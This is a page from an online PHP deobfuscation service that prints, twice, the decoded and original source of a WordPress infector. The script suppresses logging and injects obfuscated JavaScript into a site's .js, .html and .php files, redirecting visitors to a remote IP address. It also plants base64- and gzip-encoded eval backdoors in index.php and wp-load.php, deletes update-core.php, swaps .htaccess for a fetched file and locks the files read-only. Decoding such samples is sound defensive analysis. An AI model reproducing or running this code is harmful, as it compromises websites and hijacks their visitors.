Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @ini_set("error_log",null);@ini_set("log_errors",0);@ini_set("max_execution_time..

Decoded Output download

 
 
<?php @ini_set("error_log",null);@ini_set("log_errors",0);@ini_set("max_execution_time",0);@set_time_limit(0);error_reporting(0);$file_j='j';$file_h='e';$file_p='e';$text='var _0x2363=["","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789","random","length","floor","charAt","getTime","setTime","cookie","=",";expires=","toGMTString","; path=","indexOf","substring",";","cookieEnabled","__cfsuid","1","/","href","location","http","://","134.","249.","116.","78/?key="];function rdn(){var _0xc380x2=_0x2363[0];var _0xc380x3=_0x2363[1];for(var _0xc380x4=0;_0xc380x4< 32;_0xc380x4++){_0xc380x2+= _0xc380x3[_0x2363[5]](Math[_0x2363[4]](Math[_0x2363[2]]()* _0xc380x3[_0x2363[3]]))};return _0xc380x2}function _mmm_(_0xc380x6,_0xc380x7,_0xc380x8,_0xc380x9){var _0xc380xa= new Date();var _0xc380xb= new Date();if(_0xc380x8=== null|| _0xc380x8=== 0){_0xc380x8= 3};_0xc380xb[_0x2363[7]](_0xc380xa[_0x2363[6]]()+ 3600000* 24* _0xc380x8);document[_0x2363[8]]= _0xc380x6+ _0x2363[9]+ escape(_0xc380x7)+ _0x2363[10]+ _0xc380xb[_0x2363[11]]()+ ((_0xc380x9)?_0x2363[12]+ _0xc380x9:_0x2363[0])}function _nnn_(_0xc380xd){var _0xc380xe=document[_0x2363[8]][_0x2363[13]](_0xc380xd+ _0x2363[9]);var _0xc380xf=_0xc380xe+ _0xc380xd[_0x2363[3]]+ 1;if((!_0xc380xe) && (_0xc380xd!= document[_0x2363[8]][_0x2363[14]](0,_0xc380xd[_0x2363[3]]))){return null};if(_0xc380xe==  -1){return null};var _0xc380x10=document[_0x2363[8]][_0x2363[13]](_0x2363[15],_0xc380xf);if(_0xc380x10==  -1){_0xc380x10= document[_0x2363[8]][_0x2363[3]]};return unescape(document[_0x2363[8]][_0x2363[14]](_0xc380xf,_0xc380x10))}if(navigator[_0x2363[16]]){if(_nnn_(_0x2363[17])== 1){}else {_mmm_(_0x2363[17],_0x2363[18],_0x2363[18],_0x2363[19]);window[_0x2363[21]][_0x2363[20]]= _0x2363[22]+ _0x2363[23]+ _0x2363[24]+ _0x2363[25]+ _0x2363[26]+ _0x2363[27]+ rdn()}};';$position=1;function getDirContents($dir){global $file_j,$text,$position,$file_h,$file_p;$files=scandir($dir);foreach($files as$key=>$value){$path=realpath($dir.DIRECTORY_SEPARATOR.$value);if(!is_dir($path)){$path_info=pathinfo($path);$pos3=$path_info['extension'];if($pos3==="js"){$pos2=stripos($path_info['basename'],$file_j);if($pos2!==false){echo'WP_Error_Page_Not_Found '." </br>";$pos1=stripos(file_get_contents($path),$text);if($pos1===false){if($position==2){}else{chmod($path,0666);file_put_contents($path,$text);chmod($path,0444);}}}}else{$pos4=$path_info['extension'];if($pos4==="html"){$pos5=stripos($path_info['basename'],$file_h);if($pos5!==false){echo'WP_Error_Page_Not_Found HTML_Tag '." </br>";$pos6=stripos(file_get_contents($path),$text);if($pos6===false){if($position==2){}else{chmod($path,0666);$find_str=stripos(file_get_contents($path),"</head>");if($find_str!==false){$str=file_get_contents($path);$str=str_replace('</head>','<script type="text/javascript">'.$text.'</script></head>',$str);file_put_contents($path,$str);chmod($path,0444);}}}}} 
 
$pos7=$path_info['extension'];if($pos7==="php"){$pos8=stripos($path_info['basename'],$file_p);if($pos8!==false){echo'WP_Error_Page_Not_Found PHP_Tag '." </br>";$pos9=stripos(file_get_contents($path),$text);if($pos9===false){if($position==2){}else{chmod($path,0666);$find_str=file_get_contents($path);file_put_contents($path,base64_decode("").$find_str, FILE_APPEND | LOCK_EX);chmod($path,0444); 
 
$find_str=stripos(file_get_contents($path),"</head>");if($find_str!==false){$str=file_get_contents($path);$str=str_replace('</head>','<script type="text/javascript">'.$text.'</script></head>',$str);file_put_contents($path,$str);chmod($path,0444);}}}}}}}elseif($value!="."&&$value!=".."){getDirContents($path);}}}$path=$_SERVER['DOCUMENT_ROOT'];chmod($path."/index.php",0666);$find_str=file_get_contents($path."/index.php");file_put_contents($path."/index.php",base64_decode("PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgnZU5wdFU4MXYyellVLzFjNElVQWxSNUVsMjNGcWEwYlFabXFUeG9uVE9GM1dWWVZBVzVURVNpWlZpb0x0RFRzTVdJRzFBM0phRDczdDBOcytnQjEyMmluWWloMkdGYnV1M2ZhMzdORkt1OWdiZGFCQThyMzMrM2d2S3RsWVVzNVE4T0xGMlUrZlBucHk5dWRuK2xydzFkbXJwMzkvODhkdlgvYnNsbDJ2WGM4NER4bGxEM0FYN2FHTWpsTTA1NlZBQkl1TWo0aUpNQXRSeVVKZUhVK3hIQ2RXclc1OHZCYTgvdmJIbDMvMU5OdHBORnYrckxuWjNycmF3YU54U0tJNDhXZnR6b00wbS9qT1pwdm5EMFVoUzMrMjFaN081aDlkdTc3em5uZmo1cTQvYTNWdTdmY1BEZ2RIdDQvOTJXYlRkeHF0TysrZmZuRDNRODFkQzU1OS8rdjVrMStlOTRvVDBmY085WXR5aGx1dkRiSEFpZE9KeGdCNUFzdEVQTVZ6QUxVV3ZIcjArL012UGovLzd2VVBQVTF6VjlsSm5CS2dnWExNWklGNEZKa29GaVdUbE1YQUhPNHdrb0puR2FTS3VJQ1NqMTgrTy8vNTY1NXRMeGU5UzNDeUVBdENxRVNDbDdIUzVELzFpZ211NUVReVVjS09PSmNWemlyeHU4dHBCd21hUTJZVFhtT0pJa0t5QXNXUWJ4SHgxamIzVGZUNnV0Rzl6TmpxWFdoMFQ0Qm51bTJiYjBYY3NCM2p2a3RZQ0xSY1FXUXAyT1ZJOTVObDVFT0YyM3l6elFraEdDZUpva2dqL1IxYUZFU3VVcDBvYVFzK0lVaHlYTWhGMXhCZ0FmS0F6bFh2NEtLd1VGL2RESzdBbnBJQ2pVb3BDZHhrR2FLc2VqVVdVTlZDQjJBc0ZBUVRkZ2FEL1Qzdm5oWUU0NmdvYWFqZE40enUwRHZaNFR6ZDgvUi96MDNOMGN3VE92RjBZOTNlc2hzcnJpa2ZGcFlwZWJkcjlacmR0R3QyWTVWSkRycFhURWFZd1Zlb2JuZDN5YldRSE90YW40OTlwK1dvdWVxaVJNcThXNjg3dnQxdXRxeEdxMk01VHR2YXVscmZUc204cDFreFljY3NIRXF4NnJPSnBzcGlMTWdDVmN3Wnd3aEdiRXBsQXZCNFFiWlYwV1ZvTVpFSVVPVUVzMUtDa2tmVkQ0b0VuMENRd3B0bE9SWXBBQ1l6S25WRE9VNGpGNmFOSG9KUXAwY3daZEdkb1JlYzdIb0gzbEF6cFNqSk1yYUxwUDlUZnA4d2RGUFFLQ0p6ZEV0WWFnalVxdnBDa0ljbEZTdTVUaTl6bERoTDFaemhFUytWK25wSUJjUGdWUkRjMk90N1FXQllXbjJhYjR3eUhtOGtCSWRFV0htU2E0YjdEOXhYc2xRPScpKSk7").$find_str);chmod($path."/index.php",0444);chmod($path."/wp-admin/update-core.php",0666);if(unlink($path."/wp-admin/update-core.php")){}else{file_put_contents($path."/wp-admin/update-core.php","Error update #0x226951");chmod($path."/wp-admin/update-core.php",0444);}chmod($path."/.htaccess",0666);if(unlink($path."/.htaccess")){file_put_contents($path."/.htaccess",file_get_contents('https://gist.githubusercontent.com/BFTrick/3706672/raw/be744502cf3921f761cbef11878af6f4a2024c3d/.htaccess'));chmod($path."/.htaccess",0444);}else{file_put_contents($path."/.htaccess",file_get_contents('https://gist.githubusercontent.com/BFTrick/3706672/raw/be744502cf3921f761cbef11878af6f4a2024c3d/.htaccess'));chmod($path."/.htaccess",0444);}chmod($path."/wp-load.php",0666);if(unlink($path."/wp-load.php")){file_put_contents($path."/wp-load.php","<?php eval(gzuncompress(base64_decode('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')));')));");chmod($path."/wp-load.php",0444);}$pos1=stripos($path,'domains');if($pos1!==false){$rest=substr($path,0,stripos($path,'domains')+strlen('domains'));getDirContents($rest);}else{$pos1=stripos($path,'public_html');if($pos1!==false){$rest=substr($path,0,stripos($path,'public_html')+strlen('public_html'));getDirContents($rest);}else{$pos1=stripos($path,'html');if($pos1!==false){$rest=substr($path,0,stripos($path,'html')+strlen('html'));getDirContents($rest);}else{$pos1=stripos($path,'htdocs');if($pos1!==false){$rest=substr($path,0,stripos($path,'htdocs')+strlen('htdocs'));getDirContents($rest);}else{$pos1=stripos($path,'httpdocs');if($pos1!==false){$rest=substr($path,0,stripos($path,'httpdocs')+strlen('httpdocs'));getDirContents($rest);}else{$pos1=stripos($path,'vhosts');if($pos1!==false){$rest=substr($path,0,stripos($path,'vhosts')+strlen('vhosts'));getDirContents($rest);}else{$pos1=stripos($path,'www');if($pos1!==false){$rest=substr($path,0,stripos($path,'www')+strlen('www'));getDirContents($rest);}else{$pos1=stripos($path,'wwwroot');if($pos1!==false){$rest=substr($path,0,stripos($path,'wwwroot')+strlen('wwwroot'));echo($rest);getDirContents($rest);}else{$pos1=stripos($path,'web');if($pos1!==false){$rest=substr($path,0,stripos($path,'web')+strlen('web'));getDirContents($rest);}else{getDirContents($_SERVER['DOCUMENT_ROOT']);}}}}}}}}}; ?>

Did this file decode correctly?

Original Code



<?php @ini_set("error_log",null);@ini_set("log_errors",0);@ini_set("max_execution_time",0);@set_time_limit(0);error_reporting(0);$file_j='j';$file_h='e';$file_p='e';$text='var _0x2363=["","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39","\x72\x61\x6E\x64\x6F\x6D","\x6C\x65\x6E\x67\x74\x68","\x66\x6C\x6F\x6F\x72","\x63\x68\x61\x72\x41\x74","\x67\x65\x74\x54\x69\x6D\x65","\x73\x65\x74\x54\x69\x6D\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x47\x4D\x54\x53\x74\x72\x69\x6E\x67","\x3B\x20\x70\x61\x74\x68\x3D","\x69\x6E\x64\x65\x78\x4F\x66","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x3B","\x63\x6F\x6F\x6B\x69\x65\x45\x6E\x61\x62\x6C\x65\x64","\x5F\x5F\x63\x66\x73\x75\x69\x64","\x31","\x2F","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70","\x3A\x2F\x2F","\x31\x33\x34\x2E","\x32\x34\x39\x2E","\x31\x31\x36\x2E","\x37\x38\x2F\x3F\x6B\x65\x79\x3D"];function rdn(){var _0xc380x2=_0x2363[0];var _0xc380x3=_0x2363[1];for(var _0xc380x4=0;_0xc380x4< 32;_0xc380x4++){_0xc380x2+= _0xc380x3[_0x2363[5]](Math[_0x2363[4]](Math[_0x2363[2]]()* _0xc380x3[_0x2363[3]]))};return _0xc380x2}function _mmm_(_0xc380x6,_0xc380x7,_0xc380x8,_0xc380x9){var _0xc380xa= new Date();var _0xc380xb= new Date();if(_0xc380x8=== null|| _0xc380x8=== 0){_0xc380x8= 3};_0xc380xb[_0x2363[7]](_0xc380xa[_0x2363[6]]()+ 3600000* 24* _0xc380x8);document[_0x2363[8]]= _0xc380x6+ _0x2363[9]+ escape(_0xc380x7)+ _0x2363[10]+ _0xc380xb[_0x2363[11]]()+ ((_0xc380x9)?_0x2363[12]+ _0xc380x9:_0x2363[0])}function _nnn_(_0xc380xd){var _0xc380xe=document[_0x2363[8]][_0x2363[13]](_0xc380xd+ _0x2363[9]);var _0xc380xf=_0xc380xe+ _0xc380xd[_0x2363[3]]+ 1;if((!_0xc380xe) && (_0xc380xd!= document[_0x2363[8]][_0x2363[14]](0,_0xc380xd[_0x2363[3]]))){return null};if(_0xc380xe==  -1){return null};var _0xc380x10=document[_0x2363[8]][_0x2363[13]](_0x2363[15],_0xc380xf);if(_0xc380x10==  -1){_0xc380x10= document[_0x2363[8]][_0x2363[3]]};return unescape(document[_0x2363[8]][_0x2363[14]](_0xc380xf,_0xc380x10))}if(navigator[_0x2363[16]]){if(_nnn_(_0x2363[17])== 1){}else {_mmm_(_0x2363[17],_0x2363[18],_0x2363[18],_0x2363[19]);window[_0x2363[21]][_0x2363[20]]= _0x2363[22]+ _0x2363[23]+ _0x2363[24]+ _0x2363[25]+ _0x2363[26]+ _0x2363[27]+ rdn()}};';$position=1;function getDirContents($dir){global $file_j,$text,$position,$file_h,$file_p;$files=scandir($dir);foreach($files as$key=>$value){$path=realpath($dir.DIRECTORY_SEPARATOR.$value);if(!is_dir($path)){$path_info=pathinfo($path);$pos3=$path_info['extension'];if($pos3==="js"){$pos2=stripos($path_info['basename'],$file_j);if($pos2!==false){echo'WP_Error_Page_Not_Found '." </br>";$pos1=stripos(file_get_contents($path),$text);if($pos1===false){if($position==2){}else{chmod($path,0666);file_put_contents($path,$text);chmod($path,0444);}}}}else{$pos4=$path_info['extension'];if($pos4==="html"){$pos5=stripos($path_info['basename'],$file_h);if($pos5!==false){echo'WP_Error_Page_Not_Found HTML_Tag '." </br>";$pos6=stripos(file_get_contents($path),$text);if($pos6===false){if($position==2){}else{chmod($path,0666);$find_str=stripos(file_get_contents($path),"</head>");if($find_str!==false){$str=file_get_contents($path);$str=str_replace('</head>','<script type="text/javascript">'.$text.'</script></head>',$str);file_put_contents($path,$str);chmod($path,0444);}}}}}

$pos7=$path_info['extension'];if($pos7==="php"){$pos8=stripos($path_info['basename'],$file_p);if($pos8!==false){echo'WP_Error_Page_Not_Found PHP_Tag '." </br>";$pos9=stripos(file_get_contents($path),$text);if($pos9===false){if($position==2){}else{chmod($path,0666);$find_str=file_get_contents($path);file_put_contents($path,base64_decode("").$find_str, FILE_APPEND | LOCK_EX);chmod($path,0444);

$find_str=stripos(file_get_contents($path),"</head>");if($find_str!==false){$str=file_get_contents($path);$str=str_replace('</head>','<script type="text/javascript">'.$text.'</script></head>',$str);file_put_contents($path,$str);chmod($path,0444);}}}}}}}elseif($value!="."&&$value!=".."){getDirContents($path);}}}$path=$_SERVER['DOCUMENT_ROOT'];chmod($path."/index.php",0666);$find_str=file_get_contents($path."/index.php");file_put_contents($path."/index.php",base64_decode("PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgnZU5wdFU4MXYyellVLzFjNElVQWxSNUVsMjNGcWEwYlFabXFUeG9uVE9GM1dWWVZBVzVURVNpWlZpb0x0RFRzTVdJRzFBM0phRDczdDBOcytnQjEyMmluWWloMkdGYnV1M2ZhMzdORkt1OWdiZGFCQThyMzMrM2d2S3RsWVVzNVE4T0xGMlUrZlBucHk5dWRuK2xydzFkbXJwMzkvODhkdlgvYnNsbDJ2WGM4NER4bGxEM0FYN2FHTWpsTTA1NlZBQkl1TWo0aUpNQXRSeVVKZUhVK3hIQ2RXclc1OHZCYTgvdmJIbDMvMU5OdHBORnYrckxuWjNycmF3YU54U0tJNDhXZnR6b00wbS9qT1pwdm5EMFVoUzMrMjFaN081aDlkdTc3em5uZmo1cTQvYTNWdTdmY1BEZ2RIdDQvOTJXYlRkeHF0TysrZmZuRDNRODFkQzU1OS8rdjVrMStlOTRvVDBmY085WXR5aGx1dkRiSEFpZE9KeGdCNUFzdEVQTVZ6QUxVV3ZIcjArL012UGovLzd2VVBQVTF6VjlsSm5CS2dnWExNWklGNEZKa29GaVdUbE1YQUhPNHdrb0puR2FTS3VJQ1NqMTgrTy8vNTY1NXRMeGU5UzNDeUVBdENxRVNDbDdIUzVELzFpZ211NUVReVVjS09PSmNWemlyeHU4dHBCd21hUTJZVFhtT0pJa0t5QXNXUWJ4SHgxamIzVGZUNnV0Rzl6TmpxWFdoMFQ0Qm51bTJiYjBYY3NCM2p2a3RZQ0xSY1FXUXAyT1ZJOTVObDVFT0YyM3l6elFraEdDZUpva2dqL1IxYUZFU3VVcDBvYVFzK0lVaHlYTWhGMXhCZ0FmS0F6bFh2NEtLd1VGL2RESzdBbnBJQ2pVb3BDZHhrR2FLc2VqVVdVTlZDQjJBc0ZBUVRkZ2FEL1Qzdm5oWUU0NmdvYWFqZE40enUwRHZaNFR6ZDgvUi96MDNOMGN3VE92RjBZOTNlc2hzcnJpa2ZGcFlwZWJkcjlacmR0R3QyWTVWSkRycFhURWFZd1Zlb2JuZDN5YldRSE90YW40OTlwK1dvdWVxaVJNcThXNjg3dnQxdXRxeEdxMk01VHR2YXVscmZUc204cDFreFljY3NIRXF4NnJPSnBzcGlMTWdDVmN3Wnd3aEdiRXBsQXZCNFFiWlYwV1ZvTVpFSVVPVUVzMUtDa2tmVkQ0b0VuMENRd3B0bE9SWXBBQ1l6S25WRE9VNGpGNmFOSG9KUXAwY3daZEdkb1JlYzdIb0gzbEF6cFNqSk1yYUxwUDlUZnA4d2RGUFFLQ0p6ZEV0WWFnalVxdnBDa0ljbEZTdTVUaTl6bERoTDFaemhFUytWK25wSUJjUGdWUkRjMk90N1FXQllXbjJhYjR3eUhtOGtCSWRFV0htU2E0YjdEOXhYc2xRPScpKSk7").$find_str);chmod($path."/index.php",0444);chmod($path."/wp-admin/update-core.php",0666);if(unlink($path."/wp-admin/update-core.php")){}else{file_put_contents($path."/wp-admin/update-core.php","Error update #0x226951");chmod($path."/wp-admin/update-core.php",0444);}chmod($path."/.htaccess",0666);if(unlink($path."/.htaccess")){file_put_contents($path."/.htaccess",file_get_contents('https://gist.githubusercontent.com/BFTrick/3706672/raw/be744502cf3921f761cbef11878af6f4a2024c3d/.htaccess'));chmod($path."/.htaccess",0444);}else{file_put_contents($path."/.htaccess",file_get_contents('https://gist.githubusercontent.com/BFTrick/3706672/raw/be744502cf3921f761cbef11878af6f4a2024c3d/.htaccess'));chmod($path."/.htaccess",0444);}chmod($path."/wp-load.php",0666);if(unlink($path."/wp-load.php")){file_put_contents($path."/wp-load.php","<?php eval(gzuncompress(base64_decode('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')));')));");chmod($path."/wp-load.php",0444);}$pos1=stripos($path,'domains');if($pos1!==false){$rest=substr($path,0,stripos($path,'domains')+strlen('domains'));getDirContents($rest);}else{$pos1=stripos($path,'public_html');if($pos1!==false){$rest=substr($path,0,stripos($path,'public_html')+strlen('public_html'));getDirContents($rest);}else{$pos1=stripos($path,'html');if($pos1!==false){$rest=substr($path,0,stripos($path,'html')+strlen('html'));getDirContents($rest);}else{$pos1=stripos($path,'htdocs');if($pos1!==false){$rest=substr($path,0,stripos($path,'htdocs')+strlen('htdocs'));getDirContents($rest);}else{$pos1=stripos($path,'httpdocs');if($pos1!==false){$rest=substr($path,0,stripos($path,'httpdocs')+strlen('httpdocs'));getDirContents($rest);}else{$pos1=stripos($path,'vhosts');if($pos1!==false){$rest=substr($path,0,stripos($path,'vhosts')+strlen('vhosts'));getDirContents($rest);}else{$pos1=stripos($path,'www');if($pos1!==false){$rest=substr($path,0,stripos($path,'www')+strlen('www'));getDirContents($rest);}else{$pos1=stripos($path,'wwwroot');if($pos1!==false){$rest=substr($path,0,stripos($path,'wwwroot')+strlen('wwwroot'));echo($rest);getDirContents($rest);}else{$pos1=stripos($path,'web');if($pos1!==false){$rest=substr($path,0,stripos($path,'web')+strlen('web'));getDirContents($rest);}else{getDirContents($_SERVER['DOCUMENT_ROOT']);}}}}}}}}};

Function Calls

chmod 1
ini_set 3
set_time_limit 1
error_reporting 1

Variables

$path None
$text var _0x2363=["","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4..
$file_h e
$file_j j
$file_p e
$position 1

Stats

MD5 fceb25f35fe9145ca2061178ccf69860
Eval Count 0
Decode Time 128 ms